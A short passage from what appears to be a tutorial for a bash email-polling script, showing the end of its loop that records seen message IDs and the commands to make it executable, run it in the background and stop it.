29. echo "$ID" >> "$SEEN\_IDS\_FILE"
30. fi
31. done
32. sleep "$POLL\_INTERVAL"
33. done
34. **Make the script executable:**
35. chmod +x email\_poller.sh
36. **Run the script in the background:**
37. sudo ./email\_poller.sh &
38. **To stop it later:**
39. pkill -f email\_poller